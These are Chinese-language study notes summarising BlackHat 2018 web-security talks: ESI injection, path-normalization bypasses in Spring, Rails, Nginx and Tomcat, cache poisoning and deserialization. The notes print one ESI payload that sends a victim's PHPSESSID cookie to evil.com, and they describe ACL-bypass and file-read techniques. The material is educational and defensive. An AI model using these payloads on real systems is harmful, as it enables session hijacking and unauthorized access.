BlackHat 2018 Web小结
/0x00 前言
最近整理下BlackHat 2018 Web相关议题,做下学习笔记。
0x01 Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking(ESI注入:滥用缓存服务器进行SSRF攻击和透明会话劫持)
PDF:
其他参考:
https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection
何为ESI
ESI全称Edge Side Includes,是一种数据缓冲/缓存服务器,它提供将Web网页的部分(这里指页面的片段)进行缓冲/缓存的技术及服务。
ESI语言是基于XML标签的标记语言,用于改善HTTP中间件加载大量Web内容缓存时造成的性能下降。使用ESI标签可以指示反向代理服务器(或缓存服务器)获取已缓存Web页面模版的更多信息。传递给客户端的这些信息可能还来自另一台服务器(非后端服务器),该服务器可以完全缓存包含动态内容的页面。
如图,对于大型网站来说,页面很多部分其实都是静态的东西,部分是动态的比如天气信息等,网站为了提高性能将静态的内容缓存到前端的反向代理服务器中,将ESI指令发送给服务器端,然后在反向代理服务器进行内容的解析拼接后返回给浏览器:
ESI Demo
如下,使用ESI语言的”Include”在page1中包含page2并展示在页面中:
最终在浏览器端显示的是如下已经解析成功的内容,即用户访问page1的时候同时看到了page2的内容:
整个ESI语言解析流程如图:
当然,ESI语言也支持更多的常量来设置常用的变量值:
ESI注入攻击原理
由前面可知,ESI通过允许开发人员用ESI标签替换页面的动态部分来增加缓存灵活性。ESI标签在Web应用的服务端发送,在Web应用的代理服务器解析,这种看似不可控的模式难道不存在安全风险吗?
HTTP代理服务器无法区分后端服务器提供的合法ESI标签和HTTP响应中注入的恶意标签。也就是说,如果攻击者能够在HTTP响应中注入恶意ESI标签,那么代理服务器将会无差别地去解析和执行它们。
还是这个图,在第三步中,Web应用服务器给缓存服务器发送ESI语言,要求缓存服务器执行ESI语言,问题在于第一步客户端给Web应用服务器发送请求时,其中就插入了恶意ESI标签,这样的话到第三步的时候缓存服务器执行ESI语言时就会将恶意的ESI标签一并执行了:
ESI注入攻击——SSRF
如图,后端服务器将客户端传来的ESI标签payload传给代理服务器,代理服务器执行了ESI标签payload,并将完整的响应发送给了客户端:
ESI注入攻击——绕过XSSFilter
绕过XSSFilter的payload:
<esi:assign>
标签可以操作存储在服务端ESI变量中的任意值。$(变量名)
操作符可以访问这个变量的值。
上述的注入在浏览器页面中实际返回如下,能成功绕过XSSFilter的过滤:
此外,某些服务器不支持ESI vars标签,此时可以通过SSRF来进行XSS攻击:
ESI注入攻击——无JS窃取HttpOnly Cookie
如下,PHP脚本中插入了ESI标签,该标签获取phpsessid值并输出在页面上,同时PHP会接收GET请求的city参数输出在页面上。这里使用<esI:vars>
标签来输出Cookie常量即可实现无JS窃取这个HttpOnly Cookie:
进一步,可以使用ESI的include标签使得代理服务器把phpsessid发送给攻击者的服务器中:
1 | <esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'PHPSESSID'})" /> |
接着,在攻击者服务器的日志中就能接收到PHPSESSID了:
各应用支持情况
检测方法
在项目中可使用同样的payload来测试是否支持ESI注入,当注入的ESI原样返回时,则存在问题:
也可以使用自动化扫描工具来发现:
- Burp ActiveScan++
- Burp Upload Scanner
- Acunetix
0x02 Breaking Parser Logic: Take Your Path Normalization off and Pop 0days Out!
路径归一化盲区
一般的,在对外部输入字符串校验之前,需要使用java.text.Normalizer的normalize()方法先对其进行归一化(Unicode Normalization)处理。归一化可以确保具有相同意义的字符串具有统一的二进制描述。
但是归一化处理会存在一个问题,即Inconsistency,前后不一致。具体的说,就是路径检查器和路径解析器之间的解析存在不一致,从而导致存在安全问题,使得一些安全机制被绕过。
归一化的不一致表现在各个方面。
不同OS不一致
如下是不同OS上表现的不一致,在Windows下会被解析为一个UNC地址,而在Linux下则是一个URL:
不同编码不一致
在不同编码中表现不一致也存在一样的问题,比如代码不允许使用”secadmin”来查询数据库,但是如果数据库编码为utf8_general_ci(utf8_general_cs和utf8_bin均不行),则可以使用”ßecadmin”来绕过检测。
几个编码区别如下:
- utf8_general_ci:不区分大小写,这个你在注册用户名和邮箱的时候就要使用;
- utf8_general_cs:区分大小写,如果用户名和邮箱用这个 就会照成不后果;
- utf8_bin:字符串每个字符串用二进制数据编译存储。 区分大小写,而且可以存二进制的内容;
归一化顺序不同
在某些开发场景中,会对外部传入的URL参数先调用过滤如..
、/
、\
等特殊字符的黑明单过滤函数进行过滤,再使用Normalizer.normalize()函数进行归一化处理。这种颠倒的顺序会导致容易被编码绕过。
..\Q/\E
你能看出getAsset()函数的安全问题吗?
Pattern.quote(str)函数返回值为\Qstr\E
,\Q代表字面内容的开始,\E代表字面内容的结束,也就是说返回值使str没有任何正则表达式意义,即使其中含有正则表达式内容也被转变为字符串常量:
问题在哪看个例子就知道了:
1 | import java.io.File; |
Nginx斜杠绕过
作者举的例子,路径/static
被命中则会访问/home/app/static/
下的资源文件,即相当于路径检查器;但是Nginx会自动在这种特殊路径../
前加上斜杠,导致预设的路径/home/app/static/
被穿越了:
此外,作者介绍了自己盲测的payload:
最终获取到非预设目录的其他文件:
出于这种思路,作者发现了如下CVE:
深入代码审计现存的应用
Spring 0day - CVE-2018-1271
这是个运行在Windows系统上的Spring路径穿越漏洞。
如图,如果传入的路径包含危险字符..
就调用cleanPath()函数进行处理:
cleanPath()函数的作用是将包含..
的这种相对路径转换成绝对路径,比如/foo/bar/../
经过处理后变成/foo/
:
而该函数的问题在于第四行,其是允许空元素存在的。也就是说,cleanPath()函数会把//
当成是一个目录,但是Windows系统是不会把//
当成一个目录的,这就存在二义性问题了。
如下是作者测试时的payload对比结果:
通过这种不一致,实现Windows任意文件读取,payload如下:
Rails 0day - CVE-2018-3760
如图,在Rails这个Web框架中,当传入的URL中存在file://
字符串时会被认为是绝对路径;随后使用URL编码来绕过双斜杠归一化;接着在split_file_uri()方法中对传入的URL进行解码:
如下,URL进来后,会调用forbidden_request()函数对传入的path进行检查:
在forbidden_request()函数中,如果path包含..
则认为是危险路径:
如果请求中包含..
即返回真,然后返回forbidden_response(env)信息:
如果传入的path没有包含危险字符..
,那么继续跟踪会来到split_file_uri()函数,这里如果传入双重URL编码后的.
最终会被解码,这就导致了前面的forbidden_request()函数形同虚设了:
最后,作者指出文件若是以.erb
结尾,则会执行erb里面的命令,因此这是个RCE漏洞:
新的多层架构攻击面
反向代理架构带来很多好处,比如资源共享、负载均衡、高速缓存、统一入口提高安全性等。
但是如果反向代理服务器遇到如下畸形URL时,它们的二义性将导致安全问题的产生:
当然,仅仅是开个玩笑而已:
危害主要是可以绕过黑白名单的ACL限制、逃逸上下文匹配等:
这个问题是在默认设置下发现的,也就是说如果用到了下面提到的反向代理模块就可能已经中招了:
在反向代理架构中,Tomcat对/..;/
认知存在问题:
通过/..;/
可以绕过ACL、逃逸到上级路径访问管理接口:
如下,有个管理后台需要登录认证才能访问:
通过测试观察发现,该站点是使用Nginx做反向代理服务器,使用Tomcat做后端服务器:
此时在URL中注入/..;/
时,Nginx和Tomcat对该URL的认知就存在二义性:
利用二义性就能未授权访问修改密码页面了:
通过cmf或者后台界面样式,可以识别出基于Railo开发的管理台,Railo支持自定义模板,通过这个功能进一步取得shell权限:
0x03 WebAssembly: A New World of Native Exploits on the Browser(WebAssembly:浏览器漏洞的新世界)
PDF:
其他参考:
简介
WebAssembly是由W3C社区组开发的一项新技术。WebAssembly允许开发人员将他们本机的C/C++代码带到浏览器,代码由最终用户以接近本机的性能运行。WebAssembly已经在所有主流浏览器的最新版本中得到广泛支持,目前正在许多基于Web的服务中被使用。值得注意的例子包括3D模型渲染,界面设计和可视化数据处理。 WebAssembly仍处于开发的早期阶段,开发人员很可能会在未来发现新的用法。
WebAssembly(Wasm)是一种机器语言(可能应该被命名为“WebBytecode”),被设计在有限的虚拟机上运行(想想JVM,而不是VMware)。然后可以将此虚拟机嵌入到其他程序(尤其是浏览器)中。Wasm虚拟机与程序或系统的其他部分隔离,只能通过特殊枚举的导入和导出与其宿主程序进行通信。大多数程序不会由作者直接在Wasm中编写,甚至也不会以用户友好的文本格式编写。其目标是把其他语言编译成Wasm。Wasm已经相对完整,可以让用户从低级语言中获得的许多功能。
Emscripten是目前最流行的WebAssembly编译器工具链,是Mozilla的Alon Zakai开发的一个独特LLVM后端,可以将任意LLVM中间码编译成JavaScript,大大简化了现有代码在Web时代的重用。简单地说,Emscripten就是可以把C/C++代码编译可执行代码在HTML上运行。
在本次议题中,作者介绍了在Emscripten上发现为增强WebAssembly而引入的新方法所带来的新漏洞,这些漏洞可以劫持控制流,甚至在网页上下文中执行任意JavaScript代码。
更多的解说看先知文章即可,这里没Demo也不copy了。
0x04 Practical Web Cache Poisoning: Redefining ‘Unexploitable’(缓存投毒攻击)
PDF:
PortSwigger官方博客参考:
https://portswigger.net/research/practical-web-cache-poisoning
Web缓存和投毒
现在很多Web站点都使用了缓存技术来加速访问速度,比如浏览器本地缓存、DNS缓存等等。
如图,第一个用户访问a页面,第二、三个用户也访问a页面,缓存服务器会把第一个用户访问的a页面内容传给第二、三个用户:
那么问题来了,如何区分请求是不是同一个呢?这是缓存服务器需要继续解决的。不可能对请求的每一个字节都匹配校验,比如在不同浏览器请求同一个页面,就会造成User-Agent不同,但实际上这是需要返回缓存页面内容的:
此时,Cache Key出现了,缓存服务器通过标记某个位置来判断请求是否一致。如下图,通过请求接口URL和Host,在缓存服务器上算出一个Hash值,对于每个请求,如果请求接口URL和Host算出来的Hash值是同一个,则返回之前的缓存。此时会将用户A的访问数据传递给用户B,但实际上用户A和用户B的身份是不一样的:
作者指出,可以在返回报文头中使用Vary来告知客户端哪个是Cache Key的,但是实际测试过程中发现大型的CDN服务商都忽略了Vary。同时,他还发现了许多Web缓存服务器其实支持基于很多其他请求头来缓存页面内容,并且这些请求不在Cache Key的范围。换句话说,就是攻击者可以通过构造特殊请求头向缓存页面注入恶意内容。
如图,作者提出的一个查找Web缓存投毒攻击的攻击流程:
首先使用BurpSuite的扩展插件Param Miner对特殊请求头进行模糊查找,原理是使用高级差异逻辑和二进制搜索技术,可以为每个请求猜测多大65000个参数名,还可以收集捕获流量中其他的参数作为模糊查找的字典。这一步可以找出被测接口中可以注入恶意内容的特殊请求头。
当找到特殊请求头后就开始评估危害了,注入恶意代码到缓存服务器中,当受害者命中Cache规则时,缓存服务器会把相应的恶意缓存返回给受害者:
案例分析
Basic Poisoning
Cache Key在X-Forwarded-Host头,注入点在响应内容的meta标签的content属性值中。
在检测阶段,发现关键的Cache Key是X-Forwarded-Host头:
接着进入评估和注入阶段,通过X-Forwarded-Host头注入XSS payload到缓存服务器上。此时当其他用户访问同样的URL时,都会受到XSS攻击:
Discreet poisoning
Cache Key在X-Host头,注入点在响应内容的script标签的src属性值中:
Selective Poisoning
响应包的Vary头告知我们User-Agent头是作为Cache Key的一部分的。这意味着,由于我们声称使用的是Firefox 60,因此我们的漏洞利用将仅提供给其他Firefox 60用户,也就是说这种攻击场景更有选择性。
通过X-Forwarded-Host头注入在响应内容的link标签的href属性值中:
DOM Poisoning
如下,可以控制body标签的data-site-root属性值,但并不能进行XSS攻击,冰球不清楚该属性的用途。为了解决这个问题,作者在Burp中创建了一个匹配和替换规则,向所有请求添加了X-Forwarded-Host:id.burpcollaborator.net
头,然后浏览了该站点。加载某些页面后,Firefox将JavaScript生成的请求发送到作者的服务器::
上述URL路径表明,在网站上的某个地方,有JavaScript代码使用data-site-root属性来决定从何处加载某些国际化数据。作者试图通过获取https://catalog.data.gov/api/i18n/en
来找出这些数据应该是什么样,但是只收到了一个空的JSON响应。幸运的是,将“ en”更改为“ es”给出了一个线索。该文件包含用于将短语翻译成用户所选语言的映射。通过创建自己的翻译文件并使用缓存中毒将用户指向该文件,我们可以将短语翻译为XSS payload从而实现XSS攻击:
其他更多的案例
参考官方的PDF文档即可。
0x05 It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It(不为人知的PHP反序列化漏洞)
PDF:
简介
这个议题没啥好说的,就是phar反序列化漏洞,在《phar反序列化漏洞》中已经分析过了,而且很多CTF题目也出现过了,不再赘述。
0x06 Automated Discovery of Deserialization Gadget Chains(反序列化Gadget链自动发掘)
PDF:
简介
作者对已有的反序列化漏洞利用工具进行了调研分析,其中ysoserial主要是针对某些特定库以及JDK ObjectInputStream的漏洞利用,但是对于非标准库的场景就没法利用了。作者针对Java提出了一种可自动发现反序列化工具链的技术,并研发了基于Java字节码发掘反序列化Gadget链的工具Gadget Inspector。
工具地址:https://github.com/JackOfMostTrades/gadgetinspector
在研发过程中,作者枚举war包中类、方法的层次关系,发掘了直通数据流和调用图,并在此基础上使用已知的tricks枚举了可能源,最后在数据流的调用图中使用BFS算法发掘Gadget链。在性能表现上,Gadget Inspector支持对最受欢迎的前100个Java库的检测,并且在检测效果中可以发掘一些最新的Gadget链。虽然有少量的误报,但这些误报大多来自反射链。
该工具后面会深入研究,这里先不浅谈了。